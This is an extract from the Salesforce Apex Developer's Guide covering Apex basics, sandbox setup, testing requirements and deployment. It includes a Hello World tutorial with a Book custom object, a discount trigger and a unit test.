The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for data access
and data manipulation on the platform, and it enables you to add custom business logic to system events. While it provides many
benefits for automating business processes on the platform, it is not a general purpose programming language. As such, Apex cannot
be used to:
•Render elements in the user interface other than error messages
•Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality
•Create temporary files
•Spawn threads
Tip: All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee
consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution
impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL)
that it can perform within one process.
All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a
single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you don’t,
you may run into the governor limits.
SEE ALSO:
Trigger and Bulk Request Best Practices
What's New?
Review the Salesforce Release Notes to learn about new and changed features.
Current Release
Learn about our newest features. You can also visit the Spring ’17 community page.
Our release notes include complete details about new features, as well as implementation tips and best practices.
•Spring ’17 Release Notes
•Salesforce for Outlook Release Notes
•Force.com Connect for Office Release Notes
•Force.com Connect Offline Release Notes
Past Releases
Our archive of release notes includes details about features we introduced in previous releases.
•Winter ’17 Release Notes
5
Developing Code in the CloudIntroducing Apex
•Summer ’16 Release Notes
•Spring ’16 Release Notes
•Winter ’16 Release Notes
•Summer ’15 Release Notes
•Spring ’15 Release Notes
•Winter ’15 Release Notes
•Summer ’14 Release Notes
•Spring ’14 Release Notes
•Winter ’14 Release Notes
•Summer ’13 Release Notes
•Spring ’13 Release Notes
•Winter ’13 Release Notes
•Summer ’12 Release Notes
•Spring ’12 Release Notes
•Winter ’12 Release Notes
•Summer ’11 Release Notes
•Spring ’11 Release Notes
•Winter ’11 Release Notes
•Summer ’10 Release Notes
•Spring ’10 Release Notes
•Winter ’10 Release Notes
•Summer ’09 Release Notes
•Spring ’09 Release Notes
•Winter ’09 Release Notes
•Summer ’08 Release Notes
•Spring ’08 Release Notes
•Winter ’08 Release Notes
•Summer ’07 Release Notes
•Spring ’07 Release Notes
•Force.com Mobile 7.0 for BlackBerry Release Notes
•Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
•Winter ’07 Release Notes
•Summer ’06 Release Notes
•Winter ’06 Release Notes
•Force.com Mobile 6.0 Release Notes
•Summer ’05 Release Notes
•Winter ’05 Release Notes
•Summer ’04 Release Notes
•Spring ’04 Release Notes
•Winter ’04 Release Notes
6
What's New?Introducing Apex
Understanding Apex Core Concepts
Apex code typically contains many things that you might be familiar with from other programming languages:
Programming elements in Apex
The section describes the basic functionality of Apex, as well as some of the core concepts.
Using Version Settings
In the Salesforce user interface you can specify a version of the Salesforce API against which to save your Apex class or trigger. This setting
indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class
or trigger name must be unique. You cannot save the same class or trigger against different versions.
You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your
organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions
of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the
settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that
is not already associated with the class or trigger.
7
Understanding Apex Core ConceptsIntroducing Apex
For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce online help.
Naming Variables, Methods and Classes
You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of
Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords.
Using Variables and Expressions
Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include
basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects.
Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values
later. Use the following syntax when declaring variables:
datatype variable_name [=value];
Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.
The following are examples of variable declarations:
// The following variable has the data type of Integer with the name Count,
// and has the value of 0.
Integer Count = 0;
// The following variable has the data type of Decimal with the name Total. Note
// that no value has been assigned to it.
Decimal Total;
// The following variable is an account, which is also referred to as an sObject.
Account MyAcct = new Account();
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This fact means that when the method
returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another
object. However, the values of the object's fields can be changed in the method.
Using Statements
A statement is any coded instruction that performs an action.
In Apex, statements must end with a semicolon and can be one of the following types:
•Assignment, such as assigning a value to a variable
•Conditional (if-else)
•Loops:
–Do-while
–While
–For
•Locking
•Data Manipulation Language (DML)
8
Understanding Apex Core ConceptsIntroducing Apex
•Transaction Control
•Method Invoking
•Exception Handling
A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement
would be allowed. For example:
if (true) {
System.debug(1);
System.debug(2);
}else {
System.debug(3);
System.debug(4);
}
In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true)
System.debug(1);
else
System.debug(2);
Using Collections
Apex has the following types of collections:
•Lists (arrays)
•Maps
•Sets
A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is
important. You can have duplicate elements in a list.
The first index position in a list is always 0.
To create a list:
•Use the new keyword
•Use the List keyword followed by the element type contained within <> characters.
Use the following syntax for creating a list:
List <datatype>list_name
[= new List<datatype>();] |
[=new List<datatype>{value [, value2. . .]};] |
;
The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed,
you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();
For more information, see Lists on page 30.
A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can
also contain more complex data types, such as sObjects.
9
Understanding Apex Core ConceptsIntroducing Apex
To create a set:
•Use the new keyword
•Use the Set keyword followed by the primitive data type contained within <> characters
Use the following syntax for creating a set:
Set<datatype>set_name
[= new Set<datatype>();] |
[= new Set<datatype>{value [, value2. . .] };] |
;
The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a','b','c'};
For more information, see Sets on page 33.
A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects
and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must
be unique.
To create a map:
•Use the new keyword
•Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.
Use the following syntax for creating a map:
Map<key_datatype,value_datatype>map_name
[=new map<key_datatype,value_datatype>();] |
[=new map<key_datatype,value_datatype>
{key1_value => value1_value
[, key2_value => value2_value. . .]};] |
;
The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for
the map are being passed in between the curly braces {} as the map is being created.
Map<Integer,String> My_Map = new Map<Integer,String>{1 => 'a', 2 => 'b', 3 => 'c'};
For more information, see Maps on page 33.
Using Branching
An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as
follows:
if (Condition){
// Do this if the condition is true
}else {
// Do this if the condition is not true
}
For more information, see Conditional (If-Else) Statements on page 50.
10
Understanding Apex Core ConceptsIntroducing Apex
Using Loops
While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing
again and again based on a condition. Apex supports the following types of loops:
•Do-while
•While
•For
A Do-while loop checks the condition after the code has executed.
A While loop checks the condition at the start, before the code executes.
A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where
you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition.
For more information, see Loops on page 50.
11
Understanding Apex Core ConceptsIntroducing Apex
CHAPTER 2 Apex Development Process
In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to
use to develop Apex. You’ll also learn about testing and deploying Apex code.
In this chapter ...
•What is the Apex
Development
Process?
•Create a Developer
or Sandbox Org
•Learning Apex
•Writing Apex Using
Development
Environments
•Writing Tests
•Deploying Apex to a
Sandbox
Organization
•Deploying Apex to a
Salesforce Production
Organization
•Adding Apex Code to
a Force.com
AppExchange App
12
What is the Apex Development Process?
We recommend the following process for developing Apex:
1. Obtain a Developer Edition account.
2. Learn more about Apex.
3. Write your Apex.
4. While writing Apex, you should also be writing tests.
5. Optionally deploy your Apex to a sandbox organization and do final unit tests.
6. Deploy your Apex to your Salesforce production organization.
In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange
App package.
Create a Developer or Sandbox Org
You can run Apex in a:
•developer org—An org created with a Developer Edition account
•production org—An org that has live users accessing your data
•sandbox org—An org created on your production org that is a copy of your production org
Note: Apex triggers are available in the Trial Edition of Salesforce. However, they are disabled when you convert to any other
edition. If your newly signed-up org includes Apex, deploy your code to your org using one of the deployment methods.
You can't develop Apex in your Salesforce production org. Live users accessing the system while you're developing can destabilize your
data or corrupt your application. Instead, do all your development work in either a sandbox or a Developer Edition org.
If you aren't already a member of the developer community, go to http://developer.salesforce.com/signup and
follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer
Edition org. Even if you already have a Professional, Enterprise, Unlimited, or Performance Edition org and a sandbox for creating Apex,
we strongly recommend that you take advantage of the resources available in the developer community.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
To create a sandbox org:
1. From Setup, enter Sandboxes in the Quick Find box, then select Sandboxes.
2. Click New Sandbox.
3. Enter a name (10 characters or fewer) and description for the sandbox.
We recommend that you choose a name that:
•Reflects the purpose of this sandbox, such as QA.
•Has only a few characters, because Salesforce appends the sandbox name to usernames on user records in the sandbox
environment. Names with fewer characters make sandbox logins easier to type.
4. Select the type of sandbox you want.
If you don’t see a sandbox option or need licenses for more, contact Salesforce to order sandboxes for your org.
13
What is the Apex Development Process?Apex Development Process
If you reduce the number of sandboxes you purchase, you are required to match the number of your sandboxes to the number you
purchased. For example, if you have two Full sandboxes but purchased only one, you can’t create a Full sandbox. Instead, convert
a Full sandbox to a smaller one, such as a Developer Pro or Developer sandbox, depending on which types you have available.
5. Select the data to include in your Partial Copy or Full sandbox.
•For a Partial Copy sandbox, click Next, and then select the template you created to specify the data for your sandbox. If you have
not created a template for this Partial Copy sandbox, see Create or Edit Sandbox Templates.
•For a Full sandbox click Next, and then decide how much data to include.
–To include template-based data for a Full sandbox, select an existing sandbox template. For more information, see Create
or Edit Sandbox Templates
–To include all data in a Full sandbox, choose whether and how much field tracking history data to include, and whether to
copy Chatter data. You can copy from 0 to 180 days of history, in 30-day increments. The default is 0 days. Chatter data
includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed sandbox
copy time.
6. To run scripts after each create and refresh for this sandbox, specify the Apex class you previously created from the SandboxPostCopy
interface.
7. Click Create.
Tip: Try to limit changes in your production org while the sandbox copy proceeds.
Learning Apex
After you have your developer account, there are many resources available to you for learning about Apex:
Force.com Workbook: Get Started Building Your First App in the Cloud
Beginning programmers
A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials are centered
around building a very simple warehouse management system. You'll start developing the application from the bottom up; that is,
you'll first build a database model for keeping track of merchandise. You'll continue by adding business logic: validation rules to
ensure that there is enough stock, workflow to update inventory when something is sold, approvals to send email notifications for
large invoice values, and trigger logic to update the prices in open invoices. Once the database and business logic are complete,
you'll create a user interface to display a product inventory to staff, a public website to display a product catalog, and then the start
of a simple store front. If you'd like to develop offline and integrate with the app, we've added a final tutorial to use Adobe Flash
Builder for Force.com.
Force.com Workbook: HTML | PDF
Salesforce Developers Apex Page
Beginning and advanced programmers
The Apex page on Salesforce Developers has links to several resources including articles about the Apex programming language.
These resources provide a quick introduction to Apex and include best practices for Apex development.
Force.com Cookbook
Beginning and advanced programmers
This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages.
The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices.
You can read and comment on existing recipes, or submit your own recipes, at http://developer.force.com/cookbook.
14
Learning ApexApex Development Process
Development Life Cycle: Enterprise Development on the Force.com Platform
Architects and advanced programmers
Whether you are an architect, administrator, developer, or manager, the Development Lifecycle Guide prepares you to undertake the
development and release of complex applications on the Force.com platform.
Training Courses
Training classes are also available from Salesforce Training & Certification. You can find a complete list of courses at the Training &
Certification site.
In This Book (Apex Developer's Guide)
Beginning programmers should look at the following:
•Introducing Apex, and in particular:
–Documentation Conventions
–Core Concepts
–Quick Start Tutorial
•Classes, Objects, and Interfaces
•Testing Apex
•Execution Governors and Limits
In addition to the above, advanced programmers should look at:
•Trigger and Bulk Request Best Practices
•Advanced Apex Programming Example
•Understanding Apex Describe Information
•Asynchronous Execution (@future Annotation)
•Batch Apex and Apex Scheduler
Writing Apex Using Development Environments
There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE allow
you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesn’t support
debugging. These different tools are described in the next sections.
Force.com Developer Console
The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and test
applications in your Salesforce organization.
The Developer Console supports these tasks:
•Writing code—You can add code using the source code editor. Also, you can browse packages in your organization.
•Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors will be reported.
•Debugging—You can view debug logs and set checkpoints that aid in debugging.
•Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can
inspect code coverage.
•Checking performance—You can inspect debug logs to locate performance bottlenecks.
•SOQL queries—You can query data in your organization and view the results using the Query Editor.
15
Writing Apex Using Development EnvironmentsApex Development Process
•Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and provides
autocompletion for class and method names.
Force.com IDE
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com
applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development,
including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view,
integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and
usage.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods for compiling
triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production
environments. For more information, see Deploying Apex on page 591 and SOAP API and SOAP Headers for Apex on page 2743.
Code Editor in the Salesforce User Interface
The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You cannot
save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding
to distinguish different elements, such as comments, keywords, literal strings, and so on.
•For a trigger on an object, from the object’s management settings, go to Triggers, click New, and then enter your code in the Body
text box.
•For a class, from Setup, enter Apex Classes in the Quick Find box, then select Apex Classes. Click New, and then enter
your code in the Body text box.
Note: You can’t modify Apex using the Salesforce user interface in a Salesforce production org.
Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application,
or use one of the API calls to deploy it.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Writing Tests
Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend
that you use a test-driven development process, that is, test development that occurs at the same time as code development.
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with isTest.
In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true.
•At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
16
Writing TestsApex Development Process
When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
–
–Calls to System.debug are not counted as part of Apex code coverage.
–Test methods and test classes are not counted as part of Apex code coverage.
–While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered.
Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well
as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
•Every trigger must have some test coverage.
•All classes and triggers must compile successfully.
For more information on writing tests, see Testing Apex on page 556.
Deploying Apex to a Sandbox Organization
Sandboxes create copies of your Salesforce org in separate environments. Use them for development, testing, and training, without
compromising the data and applications in your production org. Sandboxes are isolated from your production org, so operations that
you perform in your sandboxes don’t affect your production org.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.
A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of
classes, or a namespace.
Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement
your own deployment code.
Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by Salesforce to support its users and
partners, but aren't considered part of our services for purposes of the SalesforceMaster Subscription Agreement.
For more information, see Using the Force.com Migration Tool and Deploying Apex.
Deploying Apex to a Salesforce Production Organization
After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to
your Salesforce production organization.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment
Wizard. For more information about the Force.com IDE, see https://developer.salesforce.com/page/Force.com_IDE.
Also, you can deploy Apex through change sets in the Salesforce user interface.
For more information and for additional deployment options, see Deploying Apex on page 591.
Adding Apex Code to a Force.com AppExchange App
You can also include an Apex class or trigger in an app that you are creating for AppExchange.
Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test
coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests
with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's organization. You can specify
17
Deploying Apex to a Sandbox OrganizationApex Development Process
which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must
pass for the package install to succeed.
In addition, Salesforce recommends that any AppExchange package that contains Apex be a managed package.
For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages,
see “What is a Package?” in the Salesforce online help.
Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the
package, enable the Translation Workbench and explicitly package the individual languages used in the translated custom labels.
See “Custom Labels” in the Salesforce online help.
18
Adding Apex Code to a Force.com AppExchange AppApex Development Process
CHAPTER 3 Apex Quick Start
Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex. Because Apex
is very similar to Java, you may recognize much of the functionality.
After reviewing the basics, you are ready to write your first Apex program—a very simple class, trigger, and unit test.
In addition, there is a more complex Shipping Invoice example that you can also walk through. This example illustrates many more
features of the language.
Note: The Hello World sample requires custom objects. You can either create these on your own, or download the objects and
Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the Apex
Tutorials Package. This package also contains sample code and objects for the Shipping Invoice example.
Writing Your First Apex Class and Trigger
This step-by-step tutorial shows how to create a simple Apex class and trigger. It also shows how to deploy these components to a
production organization.
This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger.
IN THIS SECTION:
1. Create a Custom Object
2. Adding an Apex Class
3. Add an Apex Trigger
4. Add a Test Class
5. Deploying Components to Production
Create a Custom Object
Prerequisites:
A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
For more information about creating a sandbox org, see “Sandbox Types and Templates” in the Salesforce Help. To sign up for a free
Developer org, see the Developer Edition Environment Sign Up Page.
In this step, you create a custom object called Book with one custom field called Price.
1. Log in to your sandbox or Developer org.
2. From your management settings for custom objects, if you’re using Salesforce Classic, click New Custom Object, or if you’re using
Lightning Experience, select Create > Custom Object.
3. Enter Book for the label.
19
4. Enter Books for the plural label.
5. Click Save.
Ta dah! You’ve now created your first custom object. Now let’s create a custom field.
6. In the Custom Fields & Relationships section of the Book detail page, click New.
7. Select Number for the data type and click Next.
8. Enter Price for the field label.
9. Enter 16 in the length text box.
10. Enter 2 in the decimal places text box, and click Next.
11. Click Next to accept the default values for field-level security.
12. Click Save.
You’ve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have some
standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this
tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Adding an Apex Class
Prerequisites:
•A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
•The Book custom object.
In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you will
be adding in the next step.
1. From Setup, enter “Apex Classes” in the Quick Find box, then select Apex Classes and click New.
2. In the class editor, enter this class definition:
public class MyHelloWorld {
}
The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally contained
in classes. This class is defined as public, which means the class is available to other Apex classes and triggers. For more information,
see Classes, Objects, and Interfaces on page 54.
3. Add this method definition between the class opening and closing brackets.
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to create
an instance of the class to access the method—you can just use the name of the class followed by a dot (.) and the name of the
method. For more information, see Static and Instance Methods, Variables, and Initialization Code on page 61.
20
Adding an Apex ClassApex Quick Start
This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object
name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the Salesforce
application, such as Account, don't end with this postfix.
The next section of code contains the rest of the method definition:
for (Book__c b :books){
b.Price__c *= 0.9;
}
Notice the __c after the field name Price__c. This indicates it is a custom field that you created. Standard fields that are provided
by default in Salesforce are accessed using the same type of dot notation but without the __c, for example, Name doesn't end
with __c in Book__c.Name. The statement b.Price__c *= 0.9; takes the old value of b.Price__c, multiplies it
by 0.9, which means its value will be discounted by 10%, and then stores the new value into the b.Price__c field. The *=
operator is a shortcut. Another way to write this statement is b.Price__c = b.Price__c * 0.9;. See Understanding
Expression Operators on page 40.
4. Click Save to save the new class. You should now have this full class definition.
public class MyHelloWorld {
public static void applyDiscount(Book__c[] books) {
for (Book__c b :books){
b.Price__c *= 0.9;
}
}
}
You now have a class that contains some code that iterates over a list of books and updates the Price field for each book. This code is
part of the applyDiscount static method called by the trigger that you will create in the next step.
Add an Apex Trigger
Prerequisites:
•A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
•The MyHelloWorld Apex class.
In this step, you create a trigger for the Book__c custom object that calls the applyDiscount method of the MyHelloWorld
class that you created in the previous step.
A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com
platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All
triggers run in bulk; that is, they process several records at once.
1. From the object management settings for books, go to Triggers, and then click New.
2. In the trigger editor, delete the default template code and enter this trigger definition:
trigger HelloWorldTrigger on Book__c (before insert) {
Book__c[] books = Trigger.new;
MyHelloWorld.applyDiscount(books);
}
21
Add an Apex TriggerApex Quick Start
The first line of code defines the trigger:
trigger HelloWorldTrigger on Book__c (before insert) {
It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this
trigger is called HelloWorldTrigger, it operates on the Book__c object, and runs before new books are inserted into the database.
The next line in the trigger creates a list of book records named books and assigns it the contents of a trigger context variable
called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers and provide access
to the records that caused the trigger to fire. In this case, Trigger.new contains all the new books that are about to be inserted.
Book__c[] books = Trigger.new;
The next line in the code calls the method applyDiscount in the MyHelloWorld class. It passes in the array of new books.
MyHelloWorld.applyDiscount(books);
You now have all the code that is needed to update the price of all books that get inserted. However, there is still one piece of the puzzle
missing. Unit tests are an important part of writing code and are required. In the next step, you will see why this is so and you will be
able to add a test class.
SEE ALSO:
Salesforce Help: Find Object Management Settings
Add a Test Class
Prerequisites:
•A Salesforce account in a sandbox Professional, Enterprise, Performance, or Unlimited Edition org, or an account in a Developer org.
•The HelloWorldTrigger Apex trigger.
In this step, you add a test class with one test method. You also run the test and verify code coverage. The test method exercises and
validates the code in the trigger and class. Also, it enables you to reach 100% code coverage for the trigger and class.
Note: Testing is an important part of the development process. Before you can deploy Apex or package it for the Force.com
AppExchange, the following must be true.
•At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
–When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
–Calls to System.debug are not counted as part of Apex code coverage.
–Test methods and test classes are not counted as part of Apex code coverage.
–While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
•Every trigger must have some test coverage.
•All classes and triggers must compile successfully.
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes and click New.
22
Add a Test ClassApex Quick Start
2. In the class editor, add this test class definition, and then click Save.
@isTest
private class HelloWorldTestClass {
static testMethod void validateHelloWorld() {
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
}
}
This class is defined using the @isTest annotation. Classes defined as such can only contain test methods. One advantage to
creating a separate class for testing is that classes defined with isTest don’t count against your org’s limit of 3 MB of Apex code.
You can also add the @isTest annotation to individual methods. For more information, see IsTest Annotation on page 88
and Execution Governors and Limits.
The method validateHelloWorld is defined as a testMethod. This annotation means that if changes are made to the
database, they are rolled back when execution completes. You don’t have to delete any test data created in the test method.
First, the test method creates a book and inserts it into the database temporarily. The System.debug statement writes the value
of the price in the debug log.
Book__c b = new Book__c(Name='Behind the Cloud', Price__c=100);
System.debug('Price before inserting new book: ' + b.Price__c);
// Insert book
insert b;
After the book is inserted, the code retrieves the newly inserted book, using the ID that was initially assigned to the book when it
was inserted. The System.debug statement then logs the new price that the trigger modified.
// Retrieve the new book
b = [SELECT Price__c FROM Book__c WHERE Id =:b.Id];
System.debug('Price after trigger fired: ' + b.Price__c);
When the MyHelloWorld class runs, it updates the Price__c field and reduces its value by 10%. The following test verifies
that the method applyDiscount ran and produced the expected result.
// Test that the trigger correctly updated the price
System.assertEquals(90, b.Price__c);
3. To run this test and view code coverage information, switch to the Developer Console.
4. In the Developer Console, click Test > New Run.
5. To select your test class, click HelloWorldTestClass.
6. To add all methods in the HelloWorldTestClass class to the test run, click Add Selected.
7. Click Run.
23
Add a Test ClassApex Quick Start
The test result displays in the Tests tab. Optionally, you can expand the test class in the Tests tab to view which methods were run.
In this case, the class contains only one test method.
8. The Overall Code Coverage pane shows the code coverage of this test class. To view the percentage of lines of code in the trigger
covered by this test, which is 100%, double-click the code coverage line for HelloWorldTrigger. Because the trigger calls a method
from the MyHelloWorld class, this class also has coverage (100%). To view the class coverage, double-click MyHelloWorld.
9. To open the log file, in the Logs tab, double-click the most recent log line in the list of logs. The execution log displays, including
logging information about the trigger event, the call to the applyDiscount method, and the price before and after the trigger.
By now, you have completed all the steps necessary for writing some Apex code with a test that runs in your development environment.
In the real world, after you’ve tested your code and are satisfied with it, you want to deploy the code and any prerequisite components
to a production org. The next step shows you how to do this deployment for the code and custom object you’ve created.
SEE ALSO:
Salesforce Help: Open the Developer Console
Deploying Components to Production
Prerequisites:
•A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization.
•The HelloWorldTestClass Apex test class.
•A deployment connection between the sandbox and production organizations that allows inbound change sets to be received by
the production organization. See “Change Sets” in the Salesforce online help.
•“Create and Upload Change Sets” user permission to create, edit, or upload outbound change sets.
In this step, you deploy the Apex code and the custom object you created previously to your production organization using change
sets.
This procedure doesn't apply to Developer organizations since change sets are available only in Performance, Unlimited, Enterprise,
or Database.com Edition organizations. If you have a Developer Edition account, you can use other deployment methods. For more
information, see Deploying Apex.
1. From Setup, enter Outbound Changesets in the Quick Find box, then select Outbound Changesets.
2. If a splash page appears, click Continue.
3. In the Change Sets list, click New.
4. Enter a name for your change set, for example, HelloWorldChangeSet, and optionally a description. Click Save.
5. In the Change Set Components section, click Add.
6. Select Apex Class from the component type drop-down list, then select the MyHelloWorld and the HelloWorldTestClass classes from
the list and click Add to Change Set.
7. Click View/Add Dependencies to add the dependent components.
8. Select the top checkbox to select all components. Click Add To Change Set.
9. In the Change Set Detail section of the change set page, click Upload.
10. Select the target organization, in this case production, and click Upload.
11. After the change set upload completes, deploy it in your production organization.
a. Log into your production organization.
b. From Setup, enter Inbound Change Sets in the Quick Find box, then select Inbound Change Sets.
24
Deploying Components to ProductionApex Quick Start
c. If a splash page appears, click Continue.
d. In the change sets awaiting deployment list, click your change set's name.
e. Click Deploy.
In this tutorial, you learned how to create a custom object, how to add an Apex trigger, class, and test class. Finally, you also learned
how to test your code, and how to upload the code and the custom object using Change Sets.
25
Deploying Components to ProductionApex Quick Start
WRITING APEX
CHAPTER 4 Data Types and Variables
In this chapter you’ll learn about data types and variables in Apex. You’ll also learn about related language
constructs—enums, constants, expressions, operators, and assignment statements.
In this chapter ...
•Data Types
•Primitive Data Types
•Collections
•Enums
•Variables
•Constants
•Expressions and
Operators
•Assignment
Statements
•Understanding Rules
of Conversion
26
Data Types
In Apex, all variables and expressions have a data type that is one of the following:
•A primitive, such as an Integer, Double, Long, Date, Datetime, String, ID, or Boolean (see Primitive Data Types on page 27)
•An sObject, either as a generic sObject or as a specific sObject, such as an Account, Contact, or MyCustomObject__c (see sObject
Types on page 112 in Chapter 4.)
•A collection, including:
–A list (or array) of primitives, sObjects, user defined objects, objects created from Apex classes, or collections (see Lists on page
30)
–A set of primitives (see Sets on page 33)
–A map from a primitive to a primitive, sObject, or collection (see Maps on page 33)
•A typed list of values, also known as an enum (see Enums on page 35)
•Objects created from user-defined Apex classes (see Classes, Objects, and Interfaces on page 54)
